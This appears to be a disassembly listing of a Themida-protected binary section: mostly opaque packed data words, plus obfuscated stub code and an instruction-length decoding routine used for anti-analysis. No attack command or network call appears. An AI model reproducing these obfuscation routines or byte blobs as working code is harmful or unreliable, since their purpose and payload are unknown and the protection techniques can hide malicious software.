		dd 6A2B11E3h, 191EC981h, 0C9E05FC1h, 7A61D7A6h,	61451F26h
		dd 92E1984Eh, 0AB50722h, 5896B505h, 3A4D57B0h, 176A898Fh
		dd 8056BA12h, 9E82AE06h, 11E1E0E4h, 13364DF8h, 2E5FD0D6h
		dd 5812F6D0h, 0FA550353h, 29E8FE79h, 9A59787Eh,	5079385Bh
		dd 0B20521D5h, 0D550FAB7h, 7F318421h, 0E4DBE098h, 62482239h
		dd 0D6BC8EA8h, 0DDD0171Ch, 6421D56Ah, 45687FBCh, 267A9154h
		dd 7AD2D72Ah, 5F829996h, 2E5A8FA7h, 0D3754EA1h,	64EE11F5h
		dd 1BF4D7Bh, 71590000h,	0E4CB9DB7h, 5B40122Ch, 0CEB789A3h
		dd 482AFC16h, 0B61F748Eh, 0CBE59F81h, 415B15F9h, 0BAD48C6Fh
		dd 2E4802E8h, 7140634Eh, 0D21D51Eh, 4FD1019Bh, 779AD9F0h
		dd 29BAA13Ah, 8CEBF144h, 0C6EB0E4Dh, 0B029BAA0h, 3E3D595Dh
		dd 2E2EAD4Dh, 4CB4E528h, 378A2E5Fh, 0F936DA32h,	0AC47BFE2h
		dd 0C2012674h, 4BD02196h, 262137B6h, 29B5278Bh,	282190B3h
		dd 0A5D29B5h, 82A98733h, 7562F2A5h, 52A5C4CAh, 3796DD79h
		dd 5B8972E6h, 131h, 2B45FFE7h, 0A0BA7259h, 1731E9CEh, 8AA45C45h
		dd 21CD6B8h, 2D0F04ADh,	0A3875973h, 1AFDCFE9h, 90764862h
		dd 0F1DCBCD6h, 0D51DE3CEh, 8F299B21h, 0D9F04FD1h, 79385B9Ah
		dd 529BAA0h, 11366959h,	0DC87F21Ch, 90EE93D6h, 0FC282E5Fh
		dd 1B23B20Dh, 77969C1Bh, 0F3D84BCBh, 994471D3h,	0F6B09694h
		dd 917BB3DFh, 345B0AC3h, 60AB29Fh, 0EEF424B1h, 1AD4BA8Ch
		dd 0D453BD15h, 1C3F7EBDh, 21D57395h, 0EAA287E1h, 3D43EEE5h
		dd 7AAAEBFAh, 0FE186B26h, 738D452Ch, 7598BCA1h,	29BA4D3Ch
		dd 2A44EF42h, 995EC7F3h, 303BC08h, 621A03FDh, 0D28A714Bh
		dd 9CBFD6CDh, 29B9AB15h, 0A6080E61h, 0F5AF956Fh, 0F9F3F9F0h
		dd 71435D17h, 33EBCE8Fh, 0B89C6E88h, 2F12E4FEh,	0FE216077h
		dd 29B9AAB3h, 3E6178CBh, 29B9AB73h, 50B2B80Bh, 0C7DE987Eh
		dd 0AEA4809Bh, 8086BD13h, 0AE684C1Eh, 1DD7BD97h, 8789B517h
		dd 2F5291A8h, 29BA1A82h, 44A3A9FCh, 5F51C421h, 5E8422Eh
		dd 9F51484Dh, 4FB00B8h,	70565459h, 0A9A9CB6h, 30000000h
		dd 6D4F2924h, 0B1B7AEB3h, 89432B8Fh, 0E6A08684h, 4800E3E1h
		dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h,	25DDC2C0h
		dd 833B2220h, 89506D7Eh, 405E0h, 0E8830000h, 24048704h
		db 8Bh,	2 dup(24h)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	1F34h
		mov	[esp], ecx
		push	7E57A60h
		mov	eax, [esp]
		add	esp, 4
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		pop	dword ptr [ecx+8]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_554887
; ---------------------------------------------------------------------------
		db 94h,	0CFh, 0C6h
		dd 0B82FBC9Bh, 7E58512h, 0C38BC503h, 86A28D8Dh,	6A07E5h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8BBA1EC3h, 0E03171BDh, 35BD8907h, 8907E001h,	0E018158Dh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 89A5D951h, 0E01BE1BDh, 15890F07h, 0E8000000h
		dd 9, 0A818F5C8h, 13CEB84Dh, 850F43h, 5B000000h, 204985C7h
		dd 5C4007E0h, 0FE90000h, 4C000000h, 2F31EA0Bh, 0F39DBFDBh
		dd 8C7609F3h, 85C70AEEh, 7E022C5h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 65C35040h
		dd 0C01EC377h, 0E975522Ah, 0CE8h, 0C8B3F00h, 0E177E323h
		dd 0F0D1576Eh, 0CA816628h, 0FF5E751Bh, 0E012ADB5h, 5E907h
		dd 0D06E0000h, 0FFA2BB90h, 0E0209195h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 6AB1F909h, 0A995FF00h, 8B07E018h, 161CEBC0h,	0C1A7F5F1h
		dd 36972EC9h, 235347AAh, 0F567F158h, 0EDC9EEBDh, 88A98F8Ch
		dd 0E99C3179h, 191h, 0C2B70F60h, 782EC781h, 8D61624Fh
		dd 0E5878FB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 84824C63h, 768758E9h
		dd 13E942h, 0DB9E0000h,	0D98F3C3Ch, 0D7905C7Bh,	8065A1h
		dd 9AA63082h, 0A0858D4Dh, 0E907E357h, 5, 0D0A1282Eh, 0FD0FFCDh
		dd 1185h, 0CE900h, 19BF0000h, 6591CD40h, 2E28B5B0h, 12E91AC0h
		dd 9000000h, 52C444A8h,	83E7481Fh, 0FEC8D7B1h, 71AF990h
		dd 6AC3FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 7A9CECC3h, 0FC3EE77h, 118Eh, 0CE900h, 327B0000h
		dd 9978FFE8h, 524743D5h, 66F8A550h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0A13BD4C3h
		dd 0E998F0E1h, 14h, 147FCBD9h, 97F7C220h, 674033D9h, 4EAD6BDAh
		dd 0E7B94EFFh, 0F04C1F6h, 3984h, 0FB8BFC00h, 0C032CB8Bh
		dd 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh
		dd 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh,	0B8FA7549h
		dd 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 0C8C35343h,	0FCAA49B4h, 52CE8B60h
		dd 59D7C980h, 0FE96061h, 5C000000h, 5FA19171h, 2D5FF539h
		dd 56ACCA08h, 0D681F31Dh, 5C92A348h, 0EE85C761h, 3F07E587h
		dd 0E8000101h, 12h, 1E419516h, 8B205336h, 83A2994Fh, 1BE59302h
		dd 0F6097A7h, 1483h, 0FE900h, 0AF3B0000h, 885A1B72h, 9E8979F0h
		dd 3CAA5D1Ch, 8166607Dh, 8B7FA8C7h, 5B6161CEh, 6444C381h
		dd 0F38B0000h, 2964A9B9h, 0D7E9815Ch, 0F5C294Bh, 1B80h
		dd 13E85100h, 0AE000000h, 0D404E12Dh, 95FDA398h, 2DC8BCE6h
		dd 0BB8DD50Bh, 5F5E7889h, 840F138Bh, 1,	0D8C281F5h, 0F7D3369h
		dd 880h, 0CE815300h, 20DD70FEh,	2FF28158h, 0E84A31EEh
		dd 10h,	88696636h, 0A436C9B9h, 81D5DE1h, 87BA075Ah, 38DCE9B8h
		dd 0EA815E7Eh, 0F3B9EF8h, 0F1389FCh, 0EB83F2B7h, 850F4904h
		dd 11h,	0FDBA9BB8h, 36E95Dh, 0A7B20000h, 0CB1E7C84h, 0AE81Ah
		dd 0B6CE0000h, 0DA8EE952h, 6167CBCh, 0DBB4F081h, 0E95E78ABh
		dd 0FFFFFF80h, 0F838E924h, 1DB2E0EAh, 63486B77h, 0AA1FA414h
		dd 6DBAD566h, 1C8E9h, 8	dup(41888800h),	4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 500h, 14h dup(0)
		dd 76F9E900h, 75758Bh, 100h, 11h dup(0)
		dd 353E900h, 0E8550000h, 0
aBa@lxEnkx	db ']í@‹å',7,'`Ç…Šå',7,0
		align 4
		dd 81660000h, 0FA1663Eh, 0F85h,	9185C700h, 607E58Ah, 0E9000000h
		dd 24h,	8A95858Dh, 8D5007E5h, 0E58AE585h, 6A565007h, 1DE800h
		dd 0C4830000h, 0FF2510h, 85890000h, 7E58A91h, 91B50361h
		dd 8B07E58Ah
		db 85h
byte_5A5345	db 8Dh,	8Ah, 0E5h	; DATA XREF: ___:00444AB8o
					; ___:00444D5Co
		db 7, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A5378
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A5384
; ---------------------------------------------------------------------------


loc_5A5378:				; CODE XREF: Themida_:005A5361j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A5384:				; CODE XREF: Themida_:005A5373j
		push	ebx
		push	esi
		push	edi


loc_5A5387:				; CODE XREF: Themida_:005A53DCj
					; Themida_:005A53F8j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A539A:				; CODE XREF: Themida_:005A53C1j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E58BF7h
		lea	ebp, [ebp+7E58A6Dh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A53C7
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A539A


loc_5A53C7:				; CODE XREF: Themida_:005A53B6j
		cmp	cl, 0Bh
		jz	loc_5A5424
		cmp	al, 66h
		jnz	loc_5A5405
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A5387
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A53FD
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A5387
; ---------------------------------------------------------------------------


loc_5A53FD:				; CODE XREF: Themida_:005A53EAj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A5405:				; CODE XREF: Themida_:005A53D2j
		cmp	al, 67h
		jnz	loc_5A5387
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A5387
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A5387
; ---------------------------------------------------------------------------


loc_5A5424:				; CODE XREF: Themida_:005A53CAj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A5450
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A5455
; ---------------------------------------------------------------------------


loc_5A5450:				; CODE XREF: Themida_:005A542Fj
		movzx	edi, al
		shr	edi, 1


loc_5A5455:				; CODE XREF: Themida_:005A544Bj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E58CAFh
		lea	ebp, [ebp+7E5896Dh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A55D7
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A551B
		dec	ecx
		jz	loc_5A54FE
		dec	ecx
		jnz	loc_5A556E
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A556A
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A54DD
		mov	byte ptr [ebp+0Bh], 2


loc_5A54DD:				; CODE XREF: Themida_:005A54D3j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7E58D3Bh
		mov	dword ptr [ebp+7E58A8Dh], 1
		pop	ebp
		jmp	loc_5A556E
; ---------------------------------------------------------------------------


loc_5A54FE:				; CODE XREF: Themida_:005A54B8j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A5548
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A5548
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A5548
; ---------------------------------------------------------------------------


loc_5A551B:				; CODE XREF: Themida_:005A54B1j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A5561
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A5550
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A5548
		mov	[ebp+0Bh], cl


loc_5A5548:				; CODE XREF: Themida_:005A5502j
					; Themida_:005A550Cj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A556E
; ---------------------------------------------------------------------------


loc_5A5550:				; CODE XREF: Themida_:005A5529j
		cmp	dl, 5
		jnz	loc_5A556E
		mov	[ebp+0Bh], dl
		jmp	loc_5A556E
; ---------------------------------------------------------------------------


loc_5A5561:				; CODE XREF: Themida_:005A551Fj
		cmp	dl, 6
		jnz	loc_5A556E


loc_5A556A:				; CODE XREF: Themida_:005A54C9j
		mov	byte ptr [ebp+0Bh], 3


loc_5A556E:				; CODE XREF: Themida_:005A54BFj
					; Themida_:005A54F9j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A559C
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A557E:				; CODE XREF: Themida_:005A5594j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A557E
		mov	esi, edx


loc_5A559C:				; CODE XREF: Themida_:005A5571j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A55D1
		cmp	edi, 7Fh
		ja	loc_5A55D1
		test	bl, 38h
		jnz	loc_5A55D1
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A55CB
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A55CE
; ---------------------------------------------------------------------------


loc_5A55CB:				; CODE XREF: Themida_:005A55BCj
		push	1
		pop	eax


loc_5A55CE:				; CODE XREF: Themida_:005A55C6j
		mov	[ebp-1], al


loc_5A55D1:				; CODE XREF: Themida_:005A55A0j
					; Themida_:005A55A9j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A55D7:				; CODE XREF: Themida_:005A5481j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A5602
		dec	eax
		dec	eax
		jz	loc_5A55F8
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A560A
; ---------------------------------------------------------------------------


loc_5A55F8:				; CODE XREF: Themida_:005A55E7j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A5607
; ---------------------------------------------------------------------------


loc_5A5602:				; CODE XREF: Themida_:005A55DFj
		mov	al, [ebp-3]
		add	al, 4


loc_5A5607:				; CODE XREF: Themida_:005A55FDj
		add	[ebp-1], al


loc_5A560A:				; CODE XREF: Themida_:005A55F3j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A5632
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A561D:				; CODE XREF: Themida_:005A562Cj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A561D


loc_5A5632:				; CODE XREF: Themida_:005A5612j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 3Ah
		dd 8907E58Bh, 0E034A185h, 266E907h, 66600000h, 0C1F6D98Ch
		dd 35840F04h, 6A000000h, 1B5FF01h, 8D07E02Fh, 0E37FE885h
		dd 89D0FF07h, 0E0312985h, 0C1FE8B07h, 680CEFh, 6A200600h
		dd 57026A00h, 1000D68h,	2995FF00h, 0E907E031h, 32h, 75985C6h
		dd 685607E0h, 0A9C530DFh, 292DB5FFh, 858D07E0h,	7E37FE8h
		dd 8589D0FFh, 7E02F85h,	2581858Dh, 6A5007E0h, 56056A40h
		dd 2F8595FFh, 0C36107E0h, 3 dup(0)
		dd 60D48B52h, 8908428Bh, 0E58F1C85h, 0C428B07h,	8F148589h
		dd 428B07E5h, 18858910h, 8D07E58Fh, 0E58F52B5h,	0A1858D07h
		dd 0FF005B8Eh, 0C25A61D0h, 0B58B000Ch, 7E58F1Ch, 8F14858Bh
		dd 0BD8307E5h, 7E58F18h, 7840F00h, 89000000h, 2E906h, 6880000h
		dd 0CFh, 0
		dd 0D48B5200h, 8428B60h, 8F1C8589h, 0B58D07E5h,	7E58FA3h
		dd 8EA1858Dh, 0D0FF005Bh, 858B5A61h, 7E58F1Ch, 8B0004C2h
		dd 0E58F1C85h, 89008B07h, 0E58F1C85h, 0CF07h, 89600000h
		dd 0E58F79B5h, 75858907h, 8D07E58Fh, 0E014DD85h, 44408B07h
		dd 8FB28589h, 0B58D07E5h, 7E58FE8h, 8EA1858Dh, 0D0FF005Bh
		dd 79858B61h, 0C307E58Fh, 8F759D8Bh, 0B70F07E5h, 0D8033C43h
		dd 3785B8Bh, 0E58F759Dh, 24738B07h, 8F75B503h, 8B5607E5h
		dd 738B207Bh, 75BD031Ch, 307E58Fh, 0E58F75B5h, 0C983FC07h
		dd 9D8B41FFh, 7E58F79h,	9503178Bh, 7E58F75h, 8A04C783h
		dd 0FC08402h, 0F84h, 0F033A00h,	0FFFFDC85h, 0E94243FFh
		dd 0FFFFFFE7h, 850F033Ah, 0FFFFFFCDh, 0FE1D15Fh, 8B0F04B7h
		dd 85038604h, 7E58F75h,	8F798589h, 0F08B07E5h, 0C18BCE8Bh
		dd 8FB2BD81h, 7E5h, 850FC030h, 0Dh, 2514E8C1h, 0FFCh, 8E9h
		dd 12E8C100h, 3FF825h, 0B2BD8B00h, 8307E58Fh, 8B06070Ch
		dd 0C28B0714h, 813C8124h, 840FC18Bh, 57h, 8FB2BD81h, 7E5h
		dd 850FC030h, 0Dh, 250AE8C1h, 3FFFFCh, 8E9h, 9E8C100h
		dd 7FFFF825h, 2D00h, 8834000h, 8000F706h, 0F000000h, 1E84h
		dd 0B2BD8100h, 7E58Fh, 0FC03000h, 0E84h, 3FF82500h, 808B0000h
		dd 0C0600000h, 0CF060883h, 8F20858Dh, 858907E5h, 7E01701h
		dd 8FB6858Dh, 858907E5h, 7E025D9h, 8F7D858Dh, 858907E5h
		dd 7E02B65h, 92128D8Dh,	816607E5h, 0B02DB1C3h, 158D89CAh
		dd 6A07E018h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0D763C355h, 0A4AE77BAh, 0F770FFB8h
		dd 4985C73Ah, 0D807E020h, 6A00006Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 658FC353h
		dd 48C6EAAEh, 8BDCE0F4h, 0E02D9D9Dh, 0C585C707h, 7E022h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 36E2C351h, 9975820Fh, 0BD89DD68h
		dd 7E021E1h, 7B9B5FFh, 6A07E0h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 8643DEC3h, 66A6D7AFh
		dd 0FF6E6ABFh, 0E0209195h, 0DE907h, 0D43A0000h,	0D8FAB6A6h
		dd 40ED3571h, 6AF87951h, 0A995FF00h, 8B07E018h,	5C0BEBC0h
		dd 9D59CBB3h, 0C5F186BDh, 9E82BB5h, 1B000000h, 8A922084h
		dd 8ECECD57h, 14E959h, 0FA310000h, 2C75A799h, 8E5C5918h
		dd 30DA8AB7h, 0BEC4B06Eh, 0C1812B1Dh, 6AEFh, 0FA1BD29h
		dd 0B807E0h, 89000000h,	0E0046985h, 834FF07h, 895B5E57h
		dd 0E00FE995h, 0ADEB8107h, 8B3D658Eh, 0E01601BDh, 33F38107h
		dd 66768D13h, 812E94BAh, 0DA26D4C3h, 45BD3120h,	5307E033h
		dd 5301048Fh, 5FF0B70Fh, 2C59B531h, 0E88307E0h,	0A5BD8B01h
		dd 4807E028h, 0BF664848h, 0F88189BFh, 0FFFF95A0h, 0FFA7850Fh
		dd 11E8FFFFh, 6D000000h, 59926900h, 0F31C3436h,	0EA7025E0h
		dd 0A539AFA8h, 6870Fh, 958B0000h, 7E02B69h, 0EDB58B5Bh
		dd 8107E028h, 6E9FC3h, 13E900h,	19E20000h, 939D1F4Dh, 6856116Eh
		dd 0BBD1F010h, 122004BDh, 1B6D685Bh, 81660000h,	5F6B11C8h
		dd 92011BBAh, 0F33FF09h, 0D83h,	8E900h,	51250000h, 3FD06364h
		dd 60597DEAh, 5840Fh, 81660000h, 665214CBh, 8161D18Bh
		dd 3FDAFAC1h, 11E85Ch, 0C93B0000h, 994965D0h, 0B3DA1FD4h
		dd 15641369h, 0B04A5836h, 0F1815EB2h, 78C60AEDh, 2095958Bh
		dd 0E98107E0h, 2C389F7Fh, 6051DBB4h, 33C8BF0Fh,	0E013ED8Dh
		dd 38F6107h, 13E9h, 0BCB76000h,	6B4BC4ABh, 0A595D2DCh
		dd 1ED79705h, 0A485B9CCh, 5204EB83h, 1EF8358h, 0FF73850Fh
		dd 890FFFFFh, 0Ah, 5E9h, 9CC2CF00h, 8D8DDB70h, 7E5949Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C9C35242h
		dd 0F82430F0h, 0D692D4B6h, 158D897Ah, 6A07E018h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 8569C351h, 1580C094h, 0BF0FD67Ah, 4985C7F1h,	0A807E020h
		dd 6A00005Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 40E4C353h, 5532B6EEh, 89D6419Dh
		dd 0E0287985h, 0C585C707h, 7E022h, 0F000000h, 0EE9C7B7h
		dd 67000000h, 0EE631A1Dh, 0CEE0F697h, 0E7226ACBh, 49B5FF9Dh
		dd 5107E01Eh, 0FF5FF78Bh, 0E0209195h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 71BBD581h, 13751C36h, 85239AF0h, 7E02EA1h, 95FF006Ah
		dd 7E018A9h, 0DEBC08Bh,	6B355F8Dh, 7AE6AB16h, 753A6BB9h
		dd 0CA11DC41h, 0EEBD6E1Ch, 0AC61BC28h, 0B87323F1h, 0C4374305h
		dd 15727879h, 568797FFh, 28875082h, 0B8F3E030h,	0BC07E8D2h
		dd 0A48A4E1Eh, 14300626h, 1512F63Fh, 155DB930h,	15343466h
		dd 4B176E30h, 61BE69F3h, 51B69F14h, 152FC914h, 4371E630h
		dd 1BBD80F3h, 33DE9737h, 9637DC33h, 0F5267B8Dh,	91383737h
		dd 15379B13h, 4B661FB1h, 1BDEA643h, 1A377333h, 1537ABBFh
		dd 153A3530h, 0A6256E30h, 4FA9A811h, 24BA000Dh,	98953478h
		dd 0F0A32BB5h, 45371937h, 1537BAD8h, 0D66FFC30h, 3173E768h
		dd 3173B634h, 15378134h, 0D6678D30h, 8547AD0Bh,	7522D32Bh
		dd 1537BCD8h, 3578C030h, 0FC6DFA47h, 15373739h,	0D93E6241h
		dd 9F946222h, 0FC57876Eh, 1537733Fh, 39E155C9h,	0F3BFACC3h
		dd 0C784BBF9h, 73A3CE02h, 0FBEB5AB1h, 153C2551h, 65D2E630h
		dd 1379111Ah, 6CF75AAEh, 0D5666209h, 45694CA2h,	1CDF6560h
		dd 9B379B30h, 0E8E073Fh, 732EAB2Bh, 1A067C6Ah, 1537B9BCh
		dd 9C6F8630h, 9E514A34h, 90BACFFBh, 12D20F9Fh, 1537C1D9h
		dd 796F5E30h, 367D4465h, 848B3CB1h, 73578CF6h, 7684B7BBh
		dd 3133BE51h, 0EAE251B0h, 0F51288A5h, 44378C37h, 153770D8h
		dd 0D66E9930h, 317B5569h, 3173EF34h, 15372234h,	0D666DA30h
		dd 0D5BC2A7Ah, 1537E3D8h, 0D33D1B30h, 9938D958h, 1537DC33h
		dd 4BC7E556h, 13868AB3h, 60379CD0h, 0D08A4E39h,	15300631h
		dd 46676A44h, 6F8F79BBh, 9C37DC34h, 0F5179BB5h,	77AABA37h
		dd 0EA30798Ch, 966F96E3h, 0F536238Dh, 2437337h,	6F8FEA60h
		dd 9C37DC34h, 0F5179BB5h, 44AABA37h, 0EA307989h, 736F96E3h
		dd 0D5BC16BBh, 1533F53Fh, 0AB51B930h, 88BA4B98h, 12D2FA87h
		dd 0FD64375Ah, 15379B33h, 4EF49610h, 1113BAB9h,	111337B1h
		dd 1537B92Dh, 0B6F48F73h, 0B63B654Eh, 81854A1h,	0C6B216E2h
		dd 733028B6h, 0C5C830BBh, 9138B33Bh, 1537B9B0h,	0FD66DC5Ah
		dd 15376E33h, 4CF46E10h, 1113D7B9h, 111389B1h, 1537E627h
		dd 0A7F42271h, 73DB1558h, 88BA27BBh, 12D720D8h,	1537B53Fh
		dd 168F9B30h, 7537CD30h, 4E6616BAh, 7FD48C51h, 16DFEA30h
		dd 3537DC30h, 9C6CAD6Bh, 9433136Ch, 333BF74h, 5637CD30h
		dd 12392563h, 11B77C1Eh, 7337B930h, 0FDAB238Eh,	15376E3Eh
		dd 2DB49749h, 0A824A72h, 68ABA8C5h, 7357D5E6h, 0B034A5B1h
		dd 4A56E782h, 818841BDh, 155D69D5h, 1534DF63h, 4E179B30h
		dd 49BE96F3h, 51B6E214h, 152B7714h, 4674B930h, 0FF7982F3h
		dd 0C626FB56h, 1A660E2Ah, 15379EB0h, 0E2B6AB30h, 98692C74h
		dd 0F0B1A0B5h, 1E8DDF37h, 94E72341h, 13FD73C6h,	1AF73C0Fh
		dd 1537DEB4h, 0B48DAB30h, 0FDAA6B4Bh, 7330937Eh, 148F4EBBh
		dd 4337DC30h, 4CE5D93Fh, 155DD4CFh, 15347361h, 4C17CD30h
		dd 59BEBFF3h, 51B67714h, 1523BD14h, 4476DC30h, 958E4DF3h
		dd 1A0E1057h, 15379EB1h, 32B77430h, 88BAC277h, 12D2E7F4h
		dd 0AF870656h, 93E459BDh, 12DE69D5h, 0B0373730h, 5B1D5FECh
		dd 0F4B6C54Eh, 30B04969h, 1FDFA3CFh, 0D837B930h, 1AFC15D4h
		dd 37A78FF1h, 1E68C275h, 3B394F0h, 4637CD30h, 4B6EB761h
		dd 0FDAAFE6Eh, 0E030597Eh, 1537DF88h, 0EAFDE430h, 155D74D3h
		dd 15347360h, 4D17CD30h, 51BEBEF3h, 51B67714h, 1523BD14h
		dd 4577DC30h, 0A8BA4BF3h, 12D2A39Dh, 8D5116BDh,	688FCAD5h
		dd 26BDAD6Ch, 0F52B7AB5h, 0D4F89237h, 8841BDD9h, 5D69D581h
		dd 34DF6315h, 179B3015h, 0BE96F34Eh, 0B6E21449h, 0E9831451h
		dd 8BA4F305h, 14E8C0h, 0D0950000h, 0EC316951h, 0FE659FCEh
		dd 0DE0CB82Bh, 0F0D1840h, 0CA812B53h, 4280E9F3h, 9EBA665Fh
		dd 80C38B14h, 0C08B15D6h, 0E8F2B70Fh, 13h, 0D8CA2C5Fh
		dd 772A7F61h, 0F713229Eh, 0D62C0B5Eh, 66555B6Ch, 5EBEF4BFh
		dd 6B1BD83h, 750007E0h,	0C5BD8309h, 7E001h, 53501974h
		dd 7AB8C08Bh, 89000004h, 0E0239985h, 0C99D8D07h, 0FF07E2BCh
		dd 83585BD3h, 0E001C5BDh, 17740007h, 7AB85350h,	89000004h
		dd 0E0239985h, 6A9D8D07h, 0FF07E2B9h, 66585BD3h, 6AF98Bh
